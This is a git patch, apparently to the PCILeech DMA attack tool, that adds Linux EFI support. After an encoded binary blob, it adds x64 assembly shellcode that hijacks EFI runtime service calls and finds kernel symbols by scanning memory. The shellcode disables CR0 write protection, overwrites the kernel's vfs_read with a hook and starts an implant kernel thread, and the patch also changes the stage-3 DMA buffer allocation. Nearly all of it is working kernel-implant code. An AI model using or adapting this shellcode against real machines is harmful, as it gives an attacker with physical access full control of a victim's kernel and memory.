zV~cHX)WvwmBE97WehR68PdD%myhE|d2kwN3Pa81UgcmF8;Uw4vkp#g*2!1DE$4`=} z19-V2_iot!MrCHe2X<_Mqh>;65(&0KoCr4y_QQ)Pu{(jY@G&ws^7?=)AkuRyfo=V) z0}HCXP<(hPQY22ma)=Cp;H!{Y*xP`8o!B81dKU0%h!6Tq;140YpsxpBKM)ao=<|Rp zAu=Zf@6N`yqp(*3--SryjspWZK}`Y(dJo9eU4&hK)RhoxjDdGi4*;KqNDtKm-=Xf! zGt@IKLrp=U5#XKqcr^h%0K9q#dIkDS;KrebDuXWg7IvKtK;IjL(*GPoeSy}=Cdac! z7^)NcT;OtuG-3;I#Yo-ImB61tgAX6S-X<0Vc|CR#m|LMHg zbZpwBPC=yGv2l~S1S0x8;3p94UI92`G6M9l3;rF_Df$#c{R1MCS6z&^Nf2pV6>!Z| z*zxsJwH8VOVl5!R%P-MKUkdbj4V8-?5;Ue^vsvghz_b~<;v(Pzh~%vSmRzPQ5Nv|@ z;VpyHs~~acA>dX> zJ@gLX!mIIu2Kpl4H)djPK`#a_fJj{xz&}H*_5T!7%JFZz|?DSDnl3i;5y8H=v~0`%Jh8l0PnjI@!2SX)!fprk+xq4vJ4={&d z7p%cMFR=^$1tL9>SQ_ko5hgFhUWT|4I27CknF77{<(X-{R6Du?XA24y?1m`#2)@2j zcWFCt!72;Yify@r|x9h-Hkb0AW239tlpR|JtD%H0r2s098EB4g77To}Sp!)Fn& z-)cP^PT(GhwZyJL1Mb6-!AI~((NWG8V4t-(_o2IiUWoLl;CkwU!Q&*6by%$)#3_V= zW&)!S$q)lhdj#VO`wZYd$Z_Z$z|0!FWWy(PvDv5^3y}j5oKAfP@EYpnz#R}NQ!wpO zOAo4fP(H<*K_?382424rt%W`hnD@9o8W-@AC$NUYj=fG*2c!bJU;-l73&H!tXawvL zUuGko59CgWv@QTV1*wOVVCE)m&jJpE$WexX`yhMa zqn<(IHlrcXy}&)xv7M`WAJPhc`NWHSvZV`GPC@zXNCoVpgHYsiACe#_pZO47P~Lru zE+`+%5M59{Lm|4Ld`3caLHT@y=z{WD2+;-QBMG7l$_D{N7n}~cPKYS-!d!Ggc>ylE zAl~R&y5JV-g7T79d;~wGE-z)>5ZHIl9+a}p!0VBbL2QL*-QdZMo#=8SCn#47LAleE zy9v3wz)pKguD{rUPhnR+YmJmeUoHaTDpT~D2(-dXRi_tclv zd+UAmW%U*Hf%;H=b$xApq&`;PQr})*)L7E!Z7gl{HI_Ao+ngzZB42Y^v%k5bInZ3y z9BQs^u4%4qjx;wl$C_K3TbtXPJDTIooy}d%iRPYW^@8Jt@Wz2D9>4NoJWzk)IaTMZ zbJe-)Jat8NC3W7q(z>!be_cggpsuPeR99VBQ`c12VzsgZ?esO2HTWAU8UhVf4WWkW zhMI=jhDbwGL#&~tp|zpCp`#(*(Am({5dPD^lxr7uY>98_+|sorv888=iaMgss4MD@ zdZI0N9 zx*B>K9F49<54x}v-B;0A)mYtF+o(cVWl+@4vfPwS#ubrmv2Cr}I<|FgOKej$xNAXW zD&mZ|BSjH!#24{L0+CRpCK8FnBCU~*NM|GwQLX4rxK+d26oHa3ccu?Y`P}$#NiJ)3 diff --git a/pcileech_kmd/linux/pcileech_kmd.c b/pcileech_kmd/linux/pcileech_kmd.c index af69891..aa77e80 100644 --- a/pcileech_kmd/linux/pcileech_kmd.c +++ b/pcileech_kmd/linux/pcileech_kmd.c @@ -38,7 +38,7 @@ const char LINUX_X64_STAGE3_PRE_BIN[] = { static int __init pcileech_init(void) { uint64_t pg_pa, pg_va, h_thread; - struct page *pg = alloc_pages_current(0x14, 1); + struct page *pg = alloc_pages_current(0x14, 2); if(!pg) { printk("pcileech: error allocating memory\n"); return 1; diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm index d3a3229..b9b6389 100644 --- a/pcileech_shellcode/lx64_stage2.asm +++ b/pcileech_shellcode/lx64_stage2.asm @@ -101,7 +101,7 @@ setup PROC TEST rax, rax JZ error MOV rdi, 14h - MOV rsi, 1h + MOV rsi, 2h CALL rax TEST rax, rax JZ error diff --git a/pcileech_shellcode/lx64_stage2_efi.asm b/pcileech_shellcode/lx64_stage2_efi.asm new file mode 100644 index 0000000..af10223 --- /dev/null +++ b/pcileech_shellcode/lx64_stage2_efi.asm @@ -0,0 +1,533 @@ +; lx64_stage2_efi.asm : assembly to receive execution from hooked efi runtime services dispatch table. +; Compatible with Linux x64. +; +; (c) Ulf Frisk, 2017 +; Author: Ulf Frisk, pcileech@frizk.net +; + +; +; the efi runtime services hook will access the linux kernel proper and set up +; a hook in the 'vfs_read' function. The 'vfs_read' function gets called often. +; A harmless kernel Oops will be shown in the process when setting a unaligned +; memory page to executable. +; + +.CODE + +data_reserved_future_use dq 0,0,0,0 ; [000h offset, 20h size] +data_phys_addr_alloc dd 0 ; [020h offset, 04h size] +data_filler_0 dd 0 ; [024h offset, 04h size] +data_addr_runtserv dq 0 ; [028h offset, 08h size] +data_runtserv_table_fn dq 0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; [030h offset, 70h size] +data_debug0 dq 0 ; [0a0h offset, 08h size] +data_debug1 dq 0 ; [0a8h offset, 08h size] +data_debug2 dq 0 ; [0b0h offset, 08h size] +data_debug3 dq 0 ; [0b8h offset, 08h size] +data_debug4 dq 0 ; [0c0h offset, 08h size] +addr_kthread_create_on_node dq 0 ; [0c8h offset, 08h size] +addr_wake_up_process dq 0 ; [0d0h offset, 08h size] +addr_page_offset_base dq 0 ; [0d8h offset, 08h size] +addr_alloc_pages_current dq 0 ; [0e0h offset, 08h size] +addr_set_memory_x dq 0 ; [0e8h offset, 08h size] +addr_vfs_read dq 0 ; [0f0h offset, 08h size] +addr_kallsyms_lookup_name dq 0 ; [0f8h offset, 08h size] + +; ---------------------------------------------------- +; ENTRY POINT: +; 100h offset +; UEFI x64 calling convention is assumed upon entry. +; volatile :: rax, rcx, rdx, r8, r9, r10, r11 +; arguments in :: rcx, rdx, r8, r9 +; ---------------------------------------------------- +main PROC + ; ---------------------------------------------------- + ; 1: LANDING POINT FOR HOOKED EFI RUNTIME SERVICES (RUNTSERV) TABLE. + ; (depending on which of the _14_ functions are hooked execution + ; will land on different position. + ; ---------------------------------------------------- + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + ; ---------------------------------------------------- + ; 2: FETCH CALLER AND CALLEE ADDRESSES. + ; ---------------------------------------------------- + MOV r11, 14 + loop_count: + DEC r11 + POP rax + TEST rax, rax + JZ loop_count + PUSH rax + MOV r10, rax + LEA rax, data_runtserv_table_fn + PUSH [rax + 8*r11 + 8] + ; ---------------------------------------------------- + ; 3: SAVE ORIGINAL PARAMETERS. + ; ---------------------------------------------------- + PUSH rdi + PUSH rsi + PUSH rcx + PUSH rdx + PUSH r8 + PUSH r9 + PUSH rbx + PUSH rbp + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + ; ---------------------------------------------------- + ; 4: RESTORE ORIGNAL RUNTSERV TABLE. + ; ---------------------------------------------------- + MOV rcx, 14 + loop_restore: + DEC rcx + LEA rax, data_runtserv_table_fn + MOV rdx, [rax + 8*rcx] + MOV rax, [data_addr_runtserv] + MOV [rax + 18h + 8*rcx], rdx + TEST rcx, rcx + JNZ loop_restore + ; ---------------------------------------------------- + ; 5: FIND SYMBOLS AND CALL SETUP CODE. + ; ---------------------------------------------------- + MOV rcx, r10 + CALL find_kallsyms + CALL find_symbols + CALL setup_uefi_rt + ; ---------------------------------------------------- + ; 6: RESTORE AND JMP TO ORIGINAL INTENDED TARGET. + ; ---------------------------------------------------- + POP r15 + POP r14 + POP r13 + POP r12 + POP rbp + POP rbx + POP r9 + POP r8 + POP rdx + POP rcx + POP rsi + POP rdi + POP rax + MOV [data_debug1], rax + JMP rax +main ENDP + +; ---------------------------------------------------- +; Locate address of kallsyms_lookup_name. +; rcx -> address in kernel +; volatile :: rax, r13, r14, r15 +; ---------------------------------------------------- +find_kallsyms PROC + ; ---------------------------------------------------- + ; 1: Search for string: 'kallsyms_lookup_name'. + ; ---------------------------------------------------- + LEA rax, str_kallsyms + MOV r13, [rax] + MOV r14, [rax+8] + MOV r15, [rax+14] + kallsyms_find_str_loop: + INC rcx + MOV rax, [rcx] + CMP rax, r13 + JNE kallsyms_find_str_loop + MOV rax, [rcx+8] + CMP rax, r14 + JNE kallsyms_find_str_loop + MOV rax, [rcx+16-2] + CMP rax, r15 + JNE kallsyms_find_str_loop + INC rcx + ; ---------------------------------------------------- + ; 2: Search for address to string previously found. + ; ---------------------------------------------------- + ; rcx == address of str kallsyms_lookup_name -> r15 + MOV r15, rcx + SHR rcx, 3 + SHL rcx, 3 + kallsyms_find_addr_loop: + SUB rcx, 8 + MOV rax, [rcx] + CMP rax, r15 + JNZ kallsyms_find_addr_loop + ; ---------------------------------------------------- + ; 3: Return fn address of kallsyms_lookup_name. + ; ---------------------------------------------------- + MOV rax, [rcx-08h] + MOV [addr_kallsyms_lookup_name], rax + RET +find_kallsyms ENDP + +; ---------------------------------------------------- +; Locate required symbols (kallsyms_lookup_name must be known). +; volatile :: rax, rdi +; ---------------------------------------------------- +find_symbols PROC + PUSH r15 + MOV r15, [addr_kallsyms_lookup_name] + ; addr_vfs_read + LEA rdi, str_vfs_read + CALL r15 + MOV [addr_vfs_read], rax + ; addr_set_memory_x + LEA rdi, str_set_memory_x + CALL r15 + MOV [addr_set_memory_x], rax + ; addr_alloc_pages_current + LEA rdi, str_alloc_pages_current + CALL r15 + MOV [addr_alloc_pages_current], rax + ; addr_page_offset_base + LEA rdi, str_page_offset_base + CALL r15 + MOV [addr_page_offset_base], rax + ; addr_kthread_create_on_node + LEA rdi, str_kthread_create_on_node + CALL r15 + MOV [addr_kthread_create_on_node], rax + ; addr_wake_up_process + LEA rdi, str_wake_up_process + CALL r15 + MOV [addr_wake_up_process], rax + POP r15 + RET +find_symbols ENDP + +; ---------------------------------------------------- +; Setup stage2 area and hook kernel proper. +; r14 -> address of kallsyms_lookup_name +; r11 :: address of vfs_read (virt addr/hook fn) +; r12 :: alloc pg (virt addr) +; r13 :: alloc pg (phys addr) +; ---------------------------------------------------- +setup_uefi_rt PROC + ; ---------------------------------------------------- + ; 1: ALLOC 1 PAGE FOR CODE TO BE CALLED BY KERNEL. + ; ---------------------------------------------------- + MOV rdi, 14h + MOV rsi, 0h + CALL [addr_alloc_pages_current] + ; ---------------------------------------------------- + ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGE. + ; ---------------------------------------------------- + MOV rdi, rax + CALL m_page_to_phys + MOV r13, rax + MOV rdi, r13 + CALL m_phys_to_virt + MOV r12, rax + MOV [data_debug1], r13 ; debug + MOV [data_debug2], r12 ; debug + ; ---------------------------------------------------- + ; 3: PATCH HOOK SHELLCODE. + ; ---------------------------------------------------- + ; patch shellcode absolute virtual location + LEA rax, hook_shellcode + 06h + LEA rdx, hook_kernel_fn_landing_point + AND rdx, 0fffh + ADD rdx, r12 + MOV [rax], rdx + ; patch relative addr to set_memory_x + MOV rdx, [addr_vfs_read] ; addr from + ADD rdx, 19h + MOV rcx, [addr_set_memory_x] ; addr to + SUB ecx, edx ; addr rel (used in call) + LEA rax, hook_shellcode + 15h + MOV [rax], ecx + ; ---------------------------------------------------- + ; 4: SAVE ORIGINAL BYTES OF HOOK FUNCTION. + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, data_hook_original_32 + hook_fn_copy_loop: + MOV rax, [r8 + rcx] + MOV [r9 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_copy_loop + ; ---------------------------------------------------- + ; 5: COPY PAGE TO ALLOC'ED LOCATION. + ; ---------------------------------------------------- + XOR rcx, rcx + LEA r8, main + SHR r8, 12 + SHL r8, 12 + page_copy_loop: + MOV rax, [r8 + rcx] + MOV [r12 + rcx], rax + ADD rcx, 8 + CMP rcx, 1000h + JNE page_copy_loop + ; ---------------------------------------------------- + ; 5: ENABLE SUPERVISOR WRITE. + ; ---------------------------------------------------- + MOV rax, cr0 + MOV r15, rax + AND eax, 0fffeffffh + MOV cr0, rax + ; ---------------------------------------------------- + ; 6: PATCH KERNEL 'vfs_read'. + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, hook_shellcode + hook_fn_patch_loop: + MOV rax, [r9 + rcx] + MOV [r8 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_patch_loop + ; ---------------------------------------------------- + ; 7: CLEAN UP AND EXIT. + ; ---------------------------------------------------- + MOV cr0, r15 + MOV [data_phys_addr_alloc], r13d + RET +setup_uefi_rt ENDP + +; ------------------------------------------------------------------ +; Retrieve the PAGE_OFFSET_BASE +; r14 -> kallsyms_lookup_name +; rax <- value of PAGE_OFFSET_BASE +; ------------------------------------------------------------------ +m_page_offset_base PROC + MOV rax, [addr_page_offset_base] + TEST rax, rax + JZ kaslr_pg_disable + MOV rax, [rax] + RET + kaslr_pg_disable: + MOV rax, 0ffff880000000000h + RET +m_page_offset_base ENDP + +m_phys_to_virt PROC + PUSH rdi + CALL m_page_offset_base + POP rdi + ADD rax, rdi + RET +m_phys_to_virt ENDP + +m_page_to_phys PROC + MOV rax, 0ffffea0000000000h + SUB rdi, rax + SHR rdi, 7 ; PFN + SHL rdi, 12 + MOV rax, rdi + RET +m_page_to_phys ENDP + +str_kallsyms db 0, 'kallsyms_lookup_name', 0 +str_kthread_create_on_node db 'kthread_create_on_node', 0 +str_alloc_pages_current db 'alloc_pages_current', 0 +str_page_offset_base db 'page_offset_base', 0 +str_vfs_read db 'vfs_read', 0 +str_set_memory_x db 'set_memory_x', 0 +str_wake_up_process db 'wake_up_process', 0 +str_pcileech db 'pcileech', 0 +data_cmpxchg_flag db 0 +data_hook_original_32 dq 0, 0, 0, 0 + +; ------------------------------------------------------------------ +; Hook shellcode (26 bytes) to replace initial bytes of hooked +; function (vfs_read). First call set_memory_x to make target +; executable and then call into target. +; ------------------------------------------------------------------ +hook_shellcode PROC + ; push 'vfs_read' 4 args to stack. + PUSH rdi ; 00 offset, 01 size + PUSH rsi ; 01 offset, 01 size + PUSH rdx ; 02 offset, 01 size + PUSH rcx ; 03 offset, 01 size + MOV rdi, 8888888888888888h ; 04 offset, 0a size, 06 data_offset + PUSH rdi ; 0e offset, 01 size (RET address for returning set_memory_x) + MOV esi, 1 ; 0f offset, 05 size + JMP label_fake + 77777777h ; 14 offset, 05 size, 15 data_offset (call to set_memory_x) + label_fake: +hook_shellcode ENDP + +; ----------------------------------------------------------------------------- +; CODE EXECUTED BY 'vfs_read' KERNEL HOOK BELOW +; ----------------------------------------------------------------------------- +hook_kernel_fn_landing_point PROC + ; ---------------------------------------------------- + ; 1: SAVE ORIGINAL PARAMETERS + ; ---------------------------------------------------- + ;PUSH rdi ; already pushed by hook shellcode + ;PUSH rsi ; already pushed by hook shellcode + ;PUSH rdx ; already pushed by hook shellcode + ;PUSH rcx ; already pushed by hook shellcode + PUSH r8 + PUSH r9 + PUSH rbx + PUSH rbp + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + ; ---------------------------------------------------- + ; 2: ENABLE SUPERVISOR WRITE + ; ---------------------------------------------------- + MOV rdx, cr0 + MOV rax, rdx + AND eax, 0fffeffffh + MOV cr0, rax + ; ---------------------------------------------------- + ; 3: RESTORE ORIGNAL (32 bytes) & SUPERVISOR WRITE + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, data_hook_original_32 + hook_fn_copy_loop: + MOV rax, [r9 + rcx] + MOV [r8 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_copy_loop + MOV cr0, rdx + ; ---------------------------------------------------- + ; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS + ; ---------------------------------------------------- + MOV al, 00h + MOV dl, 01h + LEA rcx, data_cmpxchg_flag + LOCK CMPXCHG [rcx], dl + JNE skipcall + ; ---------------------------------------------------- + ; 5: CALL SETUP STAGE3 CODE + ; ---------------------------------------------------- + CALL setup_stage3 + ; ---------------------------------------------------- + ; 6: RESTORE AND JMP BACK TO UNHOOKED FUNCTION + ; ---------------------------------------------------- + skipcall: + POP r15 + POP r14 + POP r13 + POP r12 + POP rbp + POP rbx + POP r9 + POP r8 + POP rcx + POP rdx + POP rsi + POP rdi + JMP [addr_vfs_read] +hook_kernel_fn_landing_point ENDP + +; ---------------------------------------------------- +; This code compiles into 53 bytes. This is copied by +; stage3 area by the setup function. +; Linux cannot use the simpler windows stage3 pre code +; since the thread will get stuck without a sleep. +; ---------------------------------------------------- +lx64_stage3_pre PROC + label_main_base: + JMP label_main_loop + str_msleep db 'msleep', 0 + label_main_loop: + LEA rdi, str_msleep + LEA rax, label_main_base-1000h+10h ; KMDDATA.qwAddrKallsymsLookupName + MOV rax, [rax] + CALL rax + MOV rdi, 100 + CALL rax + LEA rax, label_main_base-8h + MOV rax, [rax] + CMP rax, 0 + JZ label_main_loop +lx64_stage3_pre ENDP + +; ---------------------------------------------------- +; clear_8k +; clear 8192 bytes of memory +; rdi -> starting address +; ---------------------------------------------------- +clear_8k PROC + XOR rax, rax + MOV ecx, 1024 + CLD + REP STOSQ [rdi] + RET +clear_8k ENDP + +setup_stage3 PROC + ; ---------------------------------------------------- + ; 1: ALLOC PAGES. + ; ---------------------------------------------------- + MOV rdi, 14h + MOV rsi, 2h + CALL [addr_alloc_pages_current] + ; ---------------------------------------------------- + ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES. + ; ---------------------------------------------------- + MOV rdi, rax + CALL m_page_to_phys + MOV r13, rax + MOV rdi, r13 + CALL m_phys_to_virt + MOV r12, rax + ; ---------------------------------------------------- + ; 3: SET CODE PAGE TO EXECUTABLE. + ; ---------------------------------------------------- + MOV rdi, r12 + MOV rsi, 2 + CALL [addr_set_memory_x] + ; ---------------------------------------------------- + ; 4: CLEAR AND COPY STAGE3 PRE BINARY TO AREA. + ; ---------------------------------------------------- + MOV rdi, r12 + CALL clear_8k + MOV rdi, 64 + copy_stage3_pre_loop: + SUB rdi, 8 + LEA rax, lx64_stage3_pre + MOV rax, [rax+rdi] + MOV rsi, r12 + ADD rsi, 1000h + ADD rsi, rdi + MOV [rsi], rax + TEST rdi, rdi + JNZ copy_stage3_pre_loop + ; ---------------------------------------------------- + ; 5: CREATE THREAD & SET UP DATA AREA. + ; ---------------------------------------------------- + MOV rdi, r12 + ADD rdi, 01000h + XOR rsi, rsi + XOR rdx, rdx + SUB rdx, 1 + LEA rcx, str_pcileech + CALL [addr_kthread_create_on_node] + MOV [r12+58h], rax ; KMDDATA.ReservedKMD + MOV rax, [addr_kallsyms_lookup_name] + MOV [r12+10h], rax ; KMDDATA.AddrKallsymsLookupName + ; ---------------------------------------------------- + ; 6: START THREAD. + ; ---------------------------------------------------- + MOV rdi, [r12+58h] + CALL [addr_wake_up_process] + ; ---------------------------------------------------- + ; 7: FINISH! + ; ---------------------------------------------------- + MOV [data_phys_addr_alloc], r13d + RET +setup_stage3 ENDP + +END diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c index b4b8aef..d1e2eec 100644 --- a/pcileech_shellcode/lx64_stage3_c.c +++ b/pcileech_shellcode/lx64_stage3_c.c @@ -100,6 +100,58 @@ typedef struct tdKMDDATA { #define KMD_CMD_READ_VA 6 #define KMD_CMD_WRITE_VA 7 +/* +* Tries to allocate 4MB contigious memory. If not possible 2MB will be tried. +* If not possible -> fail. +* -- pk +* -- fRetry = should be set to TRUE on entry to enable retry on fail. +* -- return = ptr to struct page if successful. +*/ +QWORD AllocateMemoryDma(PKMDDATA pk, BOOL fRetry) +{ + QWORD i, pStructPages[3], pa[2]; + for(i = 0; i < 2; i++) { + pStructPages[i] = SysVCall(pk->fn.alloc_pages_current, 0x14, 10); + pa[i] = pStructPages[i] ? m_page_to_phys(pStructPages[i]) : 0; + } + // success + if(pa[0] == pa[1] + 0x200000) { + pk->DMASizeBuffer = 0x400000; + pk->DMAAddrPhysical = pa[1]; + return pStructPages[1]; + } + // complete fail + if(!pa[0] && !pa[1]) { + return 0; + } + // if 2nd attempt - fail if not complete success + if(!fRetry) { + for(i = 0; i < 2; i++) { + if(pStructPages[i]) { + SysVCall(pk->fn.__free_pages, pStructPages[i], 10); + } + } + return 0; + } + // retry for possible complete success + pStructPages[2] = AllocateMemoryDma(pk, FALSE); + if(pStructPages[2]) { + for(i = 0; i < 2; i++) { + if(pStructPages[i]) { + SysVCall(pk->fn.__free_pages, pStructPages[i], 10); + } + } + return pStructPages[2]; + } + // partial success + if(pStructPages[1]) { + SysVCall(pk->fn.__free_pages, pStructPages[1], 10); + } + pk->DMASizeBuffer = 0x200000; + pk->DMAAddrPhysical = pa[0]; + return pStructPages[0]; +} + // status: // 1: ready for command // 2: processing @@ -124,16 +176,13 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_status = 0xf0000001; return; } - // 1: set up mem out dma area 4MB in lower 4GB (linux does not support std 16MB) - pStructPages = SysVCall(pk->fn.alloc_pages_current, 0x14, 10); - if(!pStructPages) { + // 1: allocate memory + if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) { pk->_status = 0xf0000002; return; } - pk->DMAAddrPhysical = m_page_to_phys(pStructPages); pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical); - pk->DMASizeBuffer = 0x400000; - SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, 1024); + SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096); // 2: main dump loop SysVCall(pk->fn.do_gettimeofday, &timeLast); while(TRUE) { diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index 79c7f8c..4b4b6d3 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -81,6 +81,7 @@ + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index 6d5b41e..49f928a 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -170,6 +170,9 @@ Source Files + + Source Files\kmd_core + diff --git a/readme.md b/readme.md index 80689e4..6fee07b 100644 --- a/readme.md +++ b/readme.md @@ -147,3 +147,7 @@ v1.3 * implant: stability improvements for Win8+ [wx64_pscreate, wx64_pscmd, wx64_pscmd_user]. * other: load kmd by compiling and inserting .ko on linux [ pcileech_kmd/linux ]. * other: firmware flash support in Windows. + +v1.4 +* core: linux 4.8 efi support [-kmd linux_x64_efi] [http://blog.frizk.net/2017/01/attacking-uefi-and-linux.html]. +* other: linux stability fixes.